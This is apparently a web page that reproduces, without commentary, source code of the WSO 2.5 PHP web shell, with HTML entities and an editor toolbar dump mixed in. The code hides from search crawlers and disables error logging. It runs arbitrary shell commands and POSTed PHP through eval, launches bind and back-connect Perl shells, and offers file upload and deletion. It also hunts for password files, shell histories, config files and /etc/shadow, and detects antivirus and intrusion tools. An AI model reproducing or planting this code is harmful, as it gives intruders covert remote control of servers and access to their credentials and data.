$out = wsoEx(&#8220;perl /tmp/bp.pl &#8220;.$_POST['p2'].&#8221; 1&#038;>/dev/null 2&#038;>&#038;1 &#038;&#8221;);<br />
sleep(1);<br />
echo &#8221;</p>
<pre class="ml1">$out\n".wsoEx("ps aux | grep bp.pl")."</pre>
<p>&#8220;;<br />
unlink(&#8220;/tmp/bp.pl&#8221;);<br />
}<br />
if($_POST['p1'] == &#8216;bcp&#8217;) {<br />
cf(&#8220;/tmp/bc.pl&#8221;,$back_connect_p);<br />
$out = wsoEx(&#8220;perl /tmp/bc.pl &#8220;.$_POST['p2'].&#8221; &#8220;.$_POST['p3'].&#8221; 1&#038;>/dev/null 2&#038;>&#038;1 &#038;&#8221;);<br />
sleep(1);<br />
echo &#8221;</p>
<pre class="ml1">$out\n".wsoEx("ps aux | grep bc.pl")."</pre>
<p>&#8220;;<br />
unlink(&#8220;/tmp/bc.pl&#8221;);<br />
}<br />
}<br />
echo &#8216;</p>
</div>
<p>&#8216;;<br />
wsoFooter();<br />
}<br />
function actionRC() {<br />
if(!@$_POST['p1']) {<br />
$a = array(<br />
&#8220;uname&#8221; =&#038;> php_uname(),<br />
&#8220;php_version&#8221; =&#038;> phpversion(),<br />
&#8220;wso_version&#8221; =&#038;> WSO_VERSION,<br />
&#8220;safemode&#8221; =&#038;> @ini_get(&#8216;safe_mode&#8217;)<br />
);<br />
echo serialize($a);<br />
} else {<br />
eval($_POST['p1']);<br />
}<br />
}<br />
if( empty($_POST['a']) )<br />
if(isset($default_action) &#038;&#038; function_exists(&#8216;action&#8217; . $default_action))<br />
$_POST['a'] = $default_action;<br />
else<br />
$_POST['a'] = &#8216;SecInfo&#8217;;<br />
if( !empty($_POST['a']) &#038;&#038; function_exists(&#8216;action&#8217; . $_POST['a']) )<br />
call_user_func(&#8216;action&#8217; . $_POST['a']);<br />
exit;Rich Text AreaToolbarBold (Ctrl / Alt+Shift + B)Italic (Ctrl / Alt+Shift + I)Strikethrough (Alt+Shift+D)Unordered list (Alt+Shift+U)Ordered list (Alt+Shift+O)Blockquote (Alt+Shift+Q)Align Left (Alt+Shift+L)Align Center (Alt+Shift+C)Align Right (Alt+Shift+R)Insert/edit link (Alt+Shift+A)Unlink (Alt+Shift+S)Insert More Tag (Alt+Shift+T)Toggle spellchecker (Alt+Shift+N)▼<br />
Toggle fullscreen mode (Alt+Shift+G)Show/Hide Kitchen Sink (Alt+Shift+Z)<br />
FormatFormat▼<br />
UnderlineAlign Full (Alt+Shift+J)Select text color▼<br />
Paste as Plain TextPaste from WordRemove formattingInsert custom characterOutdentIndentUndo (Ctrl+Z)Redo (Ctrl+Y)Help (Alt+Shift+H)</p>
<p>$auth_pass = &#8220;7f4603f9cd64a8f0a01a258957a63a55&#8243;;<br />
$color = &#8220;#df5&#8243;;<br />
$default_action = &#8216;FilesMan&#8217;;<br />
$default_use_ajax = true;<br />
$default_charset = &#8216;Windows-1251&#8242;;<br />
if(!empty($_SERVER['HTTP_USER_AGENT'])) {<br />
$userAgents = array(&#8220;Google&#8221;, &#8220;Slurp&#8221;, &#8220;MSNBot&#8221;, &#8220;ia_archiver&#8221;, &#8220;Yandex&#8221;, &#8220;Rambler&#8221;);<br />
if(preg_match(&#8216;/&#8217; . implode(&#8216;|&#8217;, $userAgents) . &#8216;/i&#8217;, $_SERVER['HTTP_USER_AGENT'])) {<br />
header(&#8216;HTTP/1.0 404 Not Found&#8217;);<br />
exit;<br />
}<br />
}<br />
@ini_set(&#8216;error_log&#8217;,NULL);<br />
@ini_set(&#8216;log_errors&#8217;,0);<br />
@ini_set(&#8216;max_execution_time&#8217;,0);<br />
@set_time_limit(0);<br />
@set_magic_quotes_runtime(0);<br />
@define(&#8216;WSO_VERSION&#8217;, &#8217;2.5&#8242;);<br />
if(get_magic_quotes_gpc()) {<br />
function WSOstripslashes($array) {<br />
return is_array($array) ? array_map(&#8216;WSOstripslashes&#8217;, $array) : stripslashes($array);<br />
}<br />
$_POST = WSOstripslashes($_POST);<br />
$_COOKIE = WSOstripslashes($_COOKIE);<br />
}<br />
function wsoLogin() {<br />
die(&#8221;<br />
Password:<br />
&#8220;);<br />
}<br />
function WSOsetcookie($k, $v) {<br />
$_COOKIE[$k] = $v;<br />
setcookie($k, $v);<br />
}<br />
if(!empty($auth_pass)) {<br />
if(isset($_POST['pass']) &#038;&#038; (md5($_POST['pass']) == $auth_pass))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);<br />
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))<br />
wsoLogin();<br />
}<br />
if(strtolower(substr(PHP_OS,0,3)) == &#8220;win&#8221;)<br />
$os = &#8216;win&#8217;;<br />
else<br />
$os = &#8216;nix&#8217;;<br />
$safe_mode = @ini_get(&#8216;safe_mode&#8217;);<br />
if(!$safe_mode)<br />
error_reporting(0);<br />
$disable_functions = @ini_get(&#8216;disable_functions&#8217;);<br />
$home_cwd = @getcwd();<br />
if(isset($_POST['c']))<br />
@chdir($_POST['c']);<br />
$cwd = @getcwd();<br />
if($os == &#8216;win&#8217;) {<br />
$home_cwd = str_replace(&#8220;\\&#8221;, &#8220;/&#8221;, $home_cwd);<br />
$cwd = str_replace(&#8220;\\&#8221;, &#8220;/&#8221;, $cwd);<br />
}<br />
if($cwd[strlen($cwd)-1] != &#8216;/&#8217;)<br />
$cwd .= &#8216;/&#8217;;<br />
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . &#8216;ajax&#8217;]))<br />
$_COOKIE[md5($_SERVER['HTTP_HOST']) . &#8216;ajax&#8217;] = (bool)$default_use_ajax;<br />
if($os == &#8216;win&#8217;)<br />
$aliases = array(<br />
&#8220;List Directory&#8221; => &#8220;dir&#8221;,<br />
&#8220;Find index.php in current dir&#8221; => &#8220;dir /s /w /b index.php&#8221;,<br />
&#8220;Find *config*.php in current dir&#8221; => &#8220;dir /s /w /b *config*.php&#8221;,<br />
&#8220;Show active connections&#8221; => &#8220;netstat -an&#8221;,<br />
&#8220;Show running services&#8221; => &#8220;net start&#8221;,<br />
&#8220;User accounts&#8221; => &#8220;net user&#8221;,<br />
&#8220;Show computers&#8221; => &#8220;net view&#8221;,<br />
&#8220;ARP Table&#8221; => &#8220;arp -a&#8221;,<br />
&#8220;IP Configuration&#8221; => &#8220;ipconfig /all&#8221;<br />
);<br />
else<br />
$aliases = array(<br />
&#8220;List dir&#8221; => &#8220;ls -lha&#8221;,<br />
&#8220;list file attributes on a Linux second extended file system&#8221; => &#8220;lsattr -va&#8221;,<br />
&#8220;show opened ports&#8221; => &#8220;netstat -an | grep -i listen&#8221;,<br />
&#8220;process status&#8221; => &#8220;ps aux&#8221;,<br />
&#8220;Find&#8221; => &#8220;&#8221;,<br />
&#8220;find all suid files&#8221; => &#8220;find / -type f -perm -04000 -ls&#8221;,<br />
&#8220;find suid files in current dir&#8221; => &#8220;find . -type f -perm -04000 -ls&#8221;,<br />
&#8220;find all sgid files&#8221; => &#8220;find / -type f -perm -02000 -ls&#8221;,<br />
&#8220;find sgid files in current dir&#8221; => &#8220;find . -type f -perm -02000 -ls&#8221;,<br />
&#8220;find config.inc.php files&#8221; => &#8220;find / -type f -name config.inc.php&#8221;,<br />
&#8220;find config* files&#8221; => &#8220;find / -type f -name \&#8221;config*\&#8221;",<br />
&#8220;find config* files in current dir&#8221; => &#8220;find . -type f -name \&#8221;config*\&#8221;",<br />
&#8220;find all writable folders and files&#8221; => &#8220;find / -perm -2 -ls&#8221;,<br />
&#8220;find all writable folders and files in current dir&#8221; => &#8220;find . -perm -2 -ls&#8221;,<br />
&#8220;find all service.pwd files&#8221; => &#8220;find / -type f -name service.pwd&#8221;,<br />
&#8220;find service.pwd files in current dir&#8221; => &#8220;find . -type f -name service.pwd&#8221;,<br />
&#8220;find all .htpasswd files&#8221; => &#8220;find / -type f -name .htpasswd&#8221;,<br />
&#8220;find .htpasswd files in current dir&#8221; => &#8220;find . -type f -name .htpasswd&#8221;,<br />
&#8220;find all .bash_history files&#8221; => &#8220;find / -type f -name .bash_history&#8221;,<br />
&#8220;find .bash_history files in current dir&#8221; => &#8220;find . -type f -name .bash_history&#8221;,<br />
&#8220;find all .fetchmailrc files&#8221; => &#8220;find / -type f -name .fetchmailrc&#8221;,<br />
&#8220;find .fetchmailrc files in current dir&#8221; => &#8220;find . -type f -name .fetchmailrc&#8221;,<br />
&#8220;Locate&#8221; => &#8220;&#8221;,<br />
&#8220;locate httpd.conf files&#8221; => &#8220;locate httpd.conf&#8221;,<br />
&#8220;locate vhosts.conf files&#8221; => &#8220;locate vhosts.conf&#8221;,<br />
&#8220;locate proftpd.conf files&#8221; => &#8220;locate proftpd.conf&#8221;,<br />
&#8220;locate psybnc.conf files&#8221; => &#8220;locate psybnc.conf&#8221;,<br />
&#8220;locate my.conf files&#8221; => &#8220;locate my.conf&#8221;,<br />
&#8220;locate admin.php files&#8221; =>&#8221;locate admin.php&#8221;,<br />
&#8220;locate cfg.php files&#8221; => &#8220;locate cfg.php&#8221;,<br />
&#8220;locate conf.php files&#8221; => &#8220;locate conf.php&#8221;,<br />
&#8220;locate config.dat files&#8221; => &#8220;locate config.dat&#8221;,<br />
&#8220;locate config.php files&#8221; => &#8220;locate config.php&#8221;,<br />
&#8220;locate config.inc files&#8221; => &#8220;locate config.inc&#8221;,<br />
&#8220;locate config.inc.php&#8221; => &#8220;locate config.inc.php&#8221;,<br />
&#8220;locate config.default.php files&#8221; => &#8220;locate config.default.php&#8221;,<br />
&#8220;locate config* files &#8221; => &#8220;locate config&#8221;,<br />
&#8220;locate .conf files&#8221;=>&#8221;locate &#8216;.conf&#8217;&#8221;,<br />
&#8220;locate .pwd files&#8221; => &#8220;locate &#8216;.pwd&#8217;&#8221;,<br />
&#8220;locate .sql files&#8221; => &#8220;locate &#8216;.sql&#8217;&#8221;,<br />
&#8220;locate .htpasswd files&#8221; => &#8220;locate &#8216;.htpasswd&#8217;&#8221;,<br />
&#8220;locate .bash_history files&#8221; => &#8220;locate &#8216;.bash_history&#8217;&#8221;,<br />
&#8220;locate .mysql_history files&#8221; => &#8220;locate &#8216;.mysql_history&#8217;&#8221;,<br />
&#8220;locate .fetchmailrc files&#8221; => &#8220;locate &#8216;.fetchmailrc&#8217;&#8221;,<br />
&#8220;locate backup files&#8221; => &#8220;locate backup&#8221;,<br />
&#8220;locate dump files&#8221; => &#8220;locate dump&#8221;,<br />
&#8220;locate priv files&#8221; => &#8220;locate priv&#8221;<br />
);<br />
function wsoHeader() {<br />
if(empty($_POST['charset']))<br />
$_POST['charset'] = $GLOBALS['default_charset'];<br />
global $color;<br />
echo &#8221;</p>
<p>&#8220;;<br />
$freeSpace = @diskfreespace($GLOBALS['cwd']);<br />
$totalSpace = @disk_total_space($GLOBALS['cwd']);<br />
$totalSpace = $totalSpace?$totalSpace:1;<br />
$release = @php_uname(&#8216;r&#8217;);<br />
$kernel = @php_uname(&#8216;s&#8217;);<br />
$explink = &#8216;http://exploit-db.com/search/?action=search&#038;filter_description=&#8217;;<br />
if(strpos(&#8216;Linux&#8217;, $kernel) !== false)<br />
$explink .= urlencode(&#8216;Linux Kernel &#8216; . substr($release,0,6));<br />
else<br />
$explink .= urlencode($kernel . &#8216; &#8216; . substr($release,0,3));<br />
if(!function_exists(&#8216;posix_getegid&#8217;)) {<br />
$user = @get_current_user();<br />
$uid = @getmyuid();<br />
$gid = @getmygid();<br />
$group = &#8220;?&#8221;;<br />
} else {<br />
$uid = @posix_getpwuid(posix_geteuid());<br />
$gid = @posix_getgrgid(posix_getegid());<br />
$user = $uid['name'];<br />
$uid = $uid['uid'];<br />
$group = $gid['name'];<br />
$gid = $gid['gid'];<br />
}<br />
$cwd_links = &#8221;;<br />
$path = explode(&#8220;/&#8221;, $GLOBALS['cwd']);<br />
$n=count($path);<br />
for($i=0; $i $cwd_links .= &#8220;&#8221;.$path[$i].&#8221;/&#8221;;<br />
}<br />
$charsets = array(&#8216;UTF-8&#8242;, &#8216;Windows-1251&#8242;, &#8216;KOI8-R&#8217;, &#8216;KOI8-U&#8217;, &#8216;cp866&#8242;);<br />
$opt_charsets = &#8221;;<br />
foreach($charsets as $item)<br />
$opt_charsets .= &#8216;<br />
&#8216;.$item.&#8217;<br />
&#8216;;<br />
$m = array(&#8216;Sec. Info&#8217;=>&#8217;SecInfo&#8217;,'Files&#8217;=>&#8217;FilesMan&#8217;,'Console&#8217;=>&#8217;Console&#8217;,'Sql&#8217;=>&#8217;Sql&#8217;,'Php&#8217;=>&#8217;Php&#8217;,'String tools&#8217;=>&#8217;StringTools&#8217;,'Bruteforce&#8217;=>&#8217;Bruteforce&#8217;,'Network&#8217;=>&#8217;Network&#8217;);<br />
if(!empty($GLOBALS['auth_pass']))<br />
$m['Logout'] = &#8216;Logout&#8217;;<br />
$m['Self remove'] = &#8216;SelfRemove&#8217;;<br />
$menu = &#8221;;<br />
foreach($m as $k => $v)<br />
$menu .= &#8216;[ '.$k.' ]<br />
&#8216;;<br />
$drives = &#8220;&#8221;;<br />
if($GLOBALS['os'] == &#8216;win&#8217;) {<br />
foreach(range(&#8216;c&#8217;,'z&#8217;) as $drive)<br />
if(is_dir($drive.&#8217;:\\&#8217;))<br />
$drives .= &#8216;[ '.$drive.' ] &#8216;;<br />
}<br />
echo &#8216;</p>
<p>Uname:<br />
User:<br />
Php:<br />
Hdd:<br />
Cwd:&#8217; . ($GLOBALS['os'] == &#8216;win&#8217;?&#8217;<br />
Drives:&#8217;:&#8221;) . &#8221;<br />
. &#8221; . substr(@php_uname(), 0, 120) . &#8216; [exploit-db.com]<br />
&#8216; . $uid . &#8216; ( &#8216; . $user . &#8216; ) Group: &#8216; . $gid . &#8216; ( &#8216; . $group . &#8216; )<br />
&#8216; . @phpversion() . &#8216; Safe mode: &#8216; .<!> ($GLOBALS['safe_mode']?&#8217;ON&#8217;:'OFF&#8217;)<br />
. &#8216; [ phpinfo ] Datetime: &#8216; . date(&#8216;Y-m-d H:i:s&#8217;) . &#8216;<br />
&#8216; . wsoViewSize($totalSpace) . &#8216; Free: &#8216; . wsoViewSize($freeSpace) . &#8216; (&#8216;. (int) ($freeSpace/$totalSpace*100) . &#8216;%)<br />
&#8216; . $cwd_links . &#8216; &#8216;. wsoPermsColor($GLOBALS['cwd']) . &#8216; [ home ]<br />
&#8216; . $drives . &#8221;<br />
. &#8216;<br />
&#8216; . $opt_charsets . &#8216;<br />
Server IP:<br />
&#8216; . @$_SERVER["SERVER_ADDR"] . &#8216;<br />
Client IP:<br />
&#8216; . $_SERVER['REMOTE_ADDR'] . &#8216;</p>
<p>&#8216;<br />
. &#8216;</p>
<p>&#8216; . $menu . &#8216;</p>
<p>&#8216;;<br />
}<br />
function wsoFooter() {<br />
$is_writable = is_writable($GLOBALS['cwd'])?&#8221; (Writeable)&#8221;:&#8221; (Not writable)&#8221;;<br />
echo &#8220;Change dir:<br />
 Read file:</p>
<p>Make dir:$is_writable<br />
 Make file:$is_writable</p>
<p>Execute:<br />
     Upload file:$is_writable</p>
<p>&#8220;;<br />
}<br />
if (!function_exists(&#8220;posix_getpwuid&#8221;) &#038;&#038; (strpos($GLOBALS['disable_functions'], &#8216;posix_getpwuid&#8217;)===false)) {<br />
function posix_getpwuid($p) {return false;} }<br />
if (!function_exists(&#8220;posix_getgrgid&#8221;) &#038;&#038; (strpos($GLOBALS['disable_functions'], &#8216;posix_getgrgid&#8217;)===false)) {<br />
function posix_getgrgid($p) {return false;} }<br />
function wsoEx($in) {<br />
$out = &#8221;;<br />
if (function_exists(&#8216;exec&#8217;)) {<br />
@exec($in,$out);<br />
$out = @join(&#8220;\n&#8221;,$out);<br />
} elseif (function_exists(&#8216;passthru&#8217;)) {<br />
ob_start();<br />
@passthru($in);<br />
$out = ob_get_clean();<br />
} elseif (function_exists(&#8216;system&#8217;)) {<br />
ob_start();<br />
@system($in);<br />
$out = ob_get_clean();<br />
} elseif (function_exists(&#8216;shell_exec&#8217;)) {<br />
$out = shell_exec($in);<br />
} elseif (is_resource($f = @popen($in,&#8221;r&#8221;))) {<br />
$out = &#8220;&#8221;;<br />
while(!@feof($f))<br />
$out .= fread($f,1024);<br />
pclose($f);<br />
}<br />
return $out;<br />
}<br />
function wsoViewSize($s) {<br />
if (is_int($s))<br />
$s = sprintf(&#8220;%u&#8221;, $s);<br />
if($s >= 1073741824)<br />
return sprintf(&#8216;%1.2f&#8217;, $s / 1073741824 ). &#8216; GB&#8217;;<br />
elseif($s >= 1048576)<br />
return sprintf(&#8216;%1.2f&#8217;, $s / 1048576 ) . &#8216; MB&#8217;;<br />
elseif($s >= 1024)<br />
return sprintf(&#8216;%1.2f&#8217;, $s / 1024 ) . &#8216; KB&#8217;;<br />
else<br />
return $s . &#8216; B&#8217;;<br />
}<br />
function wsoPerms($p) {<br />
if (($p &#038; 0xC000) == 0xC000)$i = &#8216;s&#8217;;<br />
elseif (($p &#038; 0xA000) == 0xA000)$i = &#8216;l&#8217;;<br />
elseif (($p &#038; 0&#215;8000) == 0&#215;8000)$i = &#8216;-&#8217;;<br />
elseif (($p &#038; 0&#215;6000) == 0&#215;6000)$i = &#8216;b&#8217;;<br />
elseif (($p &#038; 0&#215;4000) == 0&#215;4000)$i = &#8216;d&#8217;;<br />
elseif (($p &#038; 0&#215;2000) == 0&#215;2000)$i = &#8216;c&#8217;;<br />
elseif (($p &#038; 0&#215;1000) == 0&#215;1000)$i = &#8216;p&#8217;;<br />
else $i = &#8216;u&#8217;;<br />
$i .= (($p &#038; 0&#215;0100) ? &#8216;r&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0080) ? &#8216;w&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0040) ? (($p &#038; 0&#215;0800) ? &#8216;s&#8217; : &#8216;x&#8217; ) : (($p &#038; 0&#215;0800) ? &#8216;S&#8217; : &#8216;-&#8217;));<br />
$i .= (($p &#038; 0&#215;0020) ? &#8216;r&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0010) ? &#8216;w&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0008) ? (($p &#038; 0&#215;0400) ? &#8216;s&#8217; : &#8216;x&#8217; ) : (($p &#038; 0&#215;0400) ? &#8216;S&#8217; : &#8216;-&#8217;));<br />
$i .= (($p &#038; 0&#215;0004) ? &#8216;r&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0002) ? &#8216;w&#8217; : &#8216;-&#8217;);<br />
$i .= (($p &#038; 0&#215;0001) ? (($p &#038; 0&#215;0200) ? &#8216;t&#8217; : &#8216;x&#8217; ) : (($p &#038; 0&#215;0200) ? &#8216;T&#8217; : &#8216;-&#8217;));<br />
return $i;<br />
}<br />
function wsoPermsColor($f) {<br />
if (!@is_readable($f))<br />
return &#8221; . wsoPerms(@fileperms($f)) . &#8221;;<br />
elseif (!@is_writable($f))<br />
return &#8221; . wsoPerms(@fileperms($f)) . &#8221;;<br />
else<br />
return &#8221; . wsoPerms(@fileperms($f)) . &#8221;;<br />
}<br />
function wsoScandir($dir) {<br />
if(function_exists(&#8220;scandir&#8221;)) {<br />
return scandir($dir);<br />
} else {<br />
$dh = opendir($dir);<br />
while (false !== ($filename = readdir($dh)))<br />
$files[] = $filename;<br />
return $files;<br />
}<br />
}<br />
function wsoWhich($p) {<br />
$path = wsoEx(&#8216;which &#8216; . $p);<br />
if(!empty($path))<br />
return $path;<br />
return false;<br />
}<br />
function actionSecInfo() {<br />
wsoHeader();<br />
echo &#8216;</p>
<p>Server security information<br />
&#8216;;<br />
function wsoSecParam($n, $v) {<br />
$v = trim($v);<br />
if($v) {<br />
echo &#8221; . $n . &#8216;: &#8216;;<br />
if(strpos($v, &#8220;\n&#8221;) === false)<br />
echo $v . &#8216;<br />
&#8216;;<br />
else<br />
echo &#8216;<br />
&#8216; . $v . &#8221;;<br />
}<br />
}<br />
wsoSecParam(&#8216;Server software&#8217;, @getenv(&#8216;SERVER_SOFTWARE&#8217;));<br />
if(function_exists(&#8216;apache_get_modules&#8217;))<br />
wsoSecParam(&#8216;Loaded Apache modules&#8217;, implode(&#8216;, &#8216;, apache_get_modules()));<br />
wsoSecParam(&#8216;Disabled PHP Functions&#8217;, $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:&#8217;none&#8217;);<br />
wsoSecParam(&#8216;Open base dir&#8217;, @ini_get(&#8216;open_basedir&#8217;));<br />
wsoSecParam(&#8216;Safe mode exec dir&#8217;, @ini_get(&#8216;safe_mode_exec_dir&#8217;));<br />
wsoSecParam(&#8216;Safe mode include dir&#8217;, @ini_get(&#8216;safe_mode_include_dir&#8217;));<br />
wsoSecParam(&#8216;cURL support&#8217;, function_exists(&#8216;curl_version&#8217;)?&#8217;enabled&#8217;:'no&#8217;);<br />
$temp=array();<br />
if(function_exists(&#8216;mysql_get_client_info&#8217;))<br />
$temp[] = &#8220;MySql (&#8220;.mysql_get_client_info().&#8221;)&#8221;;<br />
if(function_exists(&#8216;mssql_connect&#8217;))<br />
$temp[] = &#8220;MSSQL&#8221;;<br />
if(function_exists(&#8216;pg_connect&#8217;))<br />
$temp[] = &#8220;PostgreSQL&#8221;;<br />
if(function_exists(&#8216;oci_connect&#8217;))<br />
$temp[] = &#8220;Oracle&#8221;;<br />
wsoSecParam(&#8216;Supported databases&#8217;, implode(&#8216;, &#8216;, $temp));<br />
echo &#8216;<br />
&#8216;;<br />
if($GLOBALS['os'] == &#8216;nix&#8217;) {<br />
wsoSecParam(&#8216;Readable /etc/passwd&#8217;, @is_readable(&#8216;/etc/passwd&#8217;)?&#8221;yes [view]&#8220;:&#8217;no&#8217;);<br />
wsoSecParam(&#8216;Readable /etc/shadow&#8217;, @is_readable(&#8216;/etc/shadow&#8217;)?&#8221;yes [view]&#8220;:&#8217;no&#8217;);<br />
wsoSecParam(&#8216;OS version&#8217;, @file_get_contents(&#8216;/proc/version&#8217;));<br />
wsoSecParam(&#8216;Distr name&#8217;, @file_get_contents(&#8216;/etc/issue.net&#8217;));<br />
if(!$GLOBALS['safe_mode']) {<br />
$userful = array(&#8216;gcc&#8217;,'lcc&#8217;,'cc&#8217;,'ld&#8217;,'make&#8217;,'php&#8217;,'perl&#8217;,'python&#8217;,'ruby&#8217;,'tar&#8217;,'gzip&#8217;,'bzip&#8217;,'bzip2&#8242;,&#8217;nc&#8217;,'locate&#8217;,'suidperl&#8217;);<br />
$danger = array(&#8216;kav&#8217;,'nod32&#8242;,&#8217;bdcored&#8217;,'uvscan&#8217;,'sav&#8217;,'drwebd&#8217;,'clamd&#8217;,'rkhunter&#8217;,'chkrootkit&#8217;,'iptables&#8217;,'ipfw&#8217;,'tripwire&#8217;,'shieldcc&#8217;,'portsentry&#8217;,'snort&#8217;,'ossec&#8217;,'lidsadm&#8217;,'tcplodg&#8217;,'sxid&#8217;,'logcheck&#8217;,'logwatch&#8217;,'sysmask&#8217;,'zmbscap&#8217;,'sawmill&#8217;,'wormscan&#8217;,'ninja&#8217;);<br />
$downloaders = array(&#8216;wget&#8217;,'fetch&#8217;,'lynx&#8217;,'links&#8217;,'curl&#8217;,'get&#8217;,'lwp-mirror&#8217;);<br />
echo &#8216;<br />
&#8216;;<br />
$temp=array();<br />
foreach ($userful as $item)<br />
if(wsoWhich($item))<br />
$temp[] = $item;<br />
wsoSecParam(&#8216;Userful&#8217;, implode(&#8216;, &#8216;,$temp));<br />
$temp=array();<br />
foreach ($danger as $item)<br />
if(wsoWhich($item))<br />
$temp[] = $item;<br />
wsoSecParam(&#8216;Danger&#8217;, implode(&#8216;, &#8216;,$temp));<br />
$temp=array();<br />
foreach ($downloaders as $item)<br />
if(wsoWhich($item))<br />
$temp[] = $item;<br />
wsoSecParam(&#8216;Downloaders&#8217;, implode(&#8216;, &#8216;,$temp));<br />
echo &#8216;<br />
&#8216;;<br />
wsoSecParam(&#8216;HDD space&#8217;, wsoEx(&#8216;df -h&#8217;));<br />
wsoSecParam(&#8216;Hosts&#8217;, @file_get_contents(&#8216;/etc/hosts&#8217;));<br />
echo &#8216;<br />
posix_getpwuid (&#8220;Read&#8221; /etc/passwd)</p>
<p>FromTo</p>
<p>&#8216;;<br />
if (isset ($_POST['p2'], $_POST['p3']) &#038;&#038; is_numeric($_POST['p2']) &#038;&#038; is_numeric($_POST['p3'])) {<br />
$temp = &#8220;&#8221;;<br />
for(;$_POST['p2'] $uid = @posix_getpwuid($_POST['p2']);<br />
if ($uid)<br />
$temp .= join(&#8216;:&#8217;,$uid).&#8221;\n&#8221;;<br />
}<br />
echo &#8216;<br />
&#8216;;<br />
wsoSecParam(&#8216;Users&#8217;, $temp);<br />
}<br />
}<br />
} else {<br />
wsoSecParam(&#8216;OS Version&#8217;,wsoEx(&#8216;ver&#8217;));<br />
wsoSecParam(&#8216;Account Settings&#8217;,wsoEx(&#8216;net accounts&#8217;));<br />
wsoSecParam(&#8216;User Accounts&#8217;,wsoEx(&#8216;net user&#8217;));<br />
}<br />
echo &#8216;<br />
&#8216;;<br />
wsoFooter();<br />
}<br />
function actionPhp() {<br />
if(isset($_POST['ajax'])) {<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . &#8216;ajax&#8217;, true);<br />
ob_start();<br />
eval($_POST['p1']);<br />
$temp = &#8220;document.getElementById(&#8216;PhpOutput&#8217;).style.display=&#8221;;document.getElementById(&#8216;PhpOutput&#8217;).innerHTML=&#8217;&#8221; . addcslashes(htmlspecialchars(ob_get_clean()), &#8220;\n\r\t\\&#8217;\0&#8243;) . &#8220;&#8216;;\n&#8221;;<br />
echo strlen($temp), &#8220;\n&#8221;, $temp;<br />
exit;<br />
}<br />
if(empty($_POST['ajax']) &#038;&#038; !empty($_POST['p1']))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . &#8216;ajax&#8217;, 0);<br />
wsoHeader();<br />
if(isset($_POST['p2']) &#038;&#038; ($_POST['p2'] == &#8216;info&#8217;)) {<br />
echo &#8216;</p>
<p>PHP info<br />
&#8216;;<br />
ob_start();<br />
phpinfo();<br />
$tmp = ob_get_clean();<br />
$tmp = preg_replace(array (<br />
&#8216;!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU&#8217;,<br />
&#8216;!td, th {(.*)}!msiU&#8217;,<br />
&#8216;!]+>!msiU&#8217;,<br />
), array (<br />
&#8221;,<br />
&#8216;.e, .v, .h, .h th {$1}&#8217;,<br />
&#8221;<br />
), $tmp);<br />
echo str_replace(&#8216;</p>
<p>&#8216;;<br />
}<br />
echo &#8216;</p>
<p>Execution PHP-code<br />
&#8216;.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):&#8221;).&#8217;<br />
&#8216;;<br />
echo &#8216;<br />
 send using AJAX<br />
&#8216;;<br />
	if(!empty($_POST['p1'])) {<br />
		ob_start();<br />
		eval($_POST['p1']);<br />
		echo htmlspecialchars(ob_get_clean());<br />
	}<br />
	echo &#8221;;<br />
wsoFooter();<br />
}<br />
function actionFilesMan() {<br />
if (!empty ($_COOKIE['f']))<br />
$_COOKIE['f'] = @unserialize($_COOKIE['f']);<br />
if(!empty($_POST['p1'])) {<br />
switch($_POST['p1']) {<br />
case &#8216;uploadFile&#8217;:<br />
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))<br />
echo &#8220;Can&#8217;t upload file!&#8221;;<br />
break;<br />
case &#8216;mkdir&#8217;:<br />
if(!@mkdir($_POST['p2']))<br />
echo &#8220;Can&#8217;t create new dir&#8221;;<br />
break;<br />
case &#8216;delete&#8217;:<br />
function deleteDir($path) {<br />
$path = (substr($path,-1)==&#8217;/') ? $path:$path.&#8217;/';<br />
$dh = opendir($path);<br />
while ( ($item = readdir($dh) ) !== false) {<br />
$item = $path.$item;<br />
if ( (basename($item) == &#8220;..&#8221;) || (basename($item) == &#8220;.&#8221;) )<br />
continue;<br />
$type = filetype($item);<br />
if ($type == &#8220;dir&#8221;)<br />
deleteDir($item);<br />
else<br />
@unlink($item);<br />
}<br />
closedir($dh);<br />
@rmdir($path);<br />
}<br />
if(is_array(@$_POST['f']))<br />
foreach($_POST['f'] as $f) {<br />
if($f == &#8216;..&#8217;)<br />
continue;<br />
$f = urldecode($f);<br />
if(is_dir($f))<br />
deleteDir($f);<br />
else<br />
@unlink($f);<br />
}<br />
break;<br />
case &#8216;paste&#8217;:<br />
if($_COOKIE['act'] == &#8216;copy&#8217;) {<br />
function copy_paste($c,$s,$d){<br />
if(is_dir($c.$s)){<br />
mkdir($d.$s);<br />
$h = @opendir($c.$s);<br />
while (($f = @readdir($h)) !== false)<br />
if (($f != &#8220;.&#8221;) and ($f != &#8220;..&#8221;))<br />
copy_paste($c.$s.&#8217;/',$f, $d.$s.&#8217;/');<br />
} elseif(is_file($c.$s))<br />
@copy($c.$s, $d.$s);<br />
}<br />
foreach($_COOKIE['f'] as $f)<br />
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);<br />
} elseif($_COOKIE['act'] == &#8216;move&#8217;) {<br />
function move_paste($c,$s,$d){<br />
if(is_dir($c.$s)){<br />
mkdir($d.$s);<br />
$h = @opendir($c.$s);<br />
while (($f = @readdir($h)) !== false)<br />
if (($f != &#8220;.&#8221;) and ($f != &#8220;..&#8221;))<br />
copy_paste($c.$s.&#8217;/',$f, $d.$s.&#8217;/');<br />
} elseif(@is_file($c.$s))<br />
@copy($c.$s, $d.$s);<br />
}<br />
foreach($_COOKIE['f'] as $f)<br />
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);<br />
} elseif($_COOKIE['act'] == &#8216;zip&#8217;) {<br />
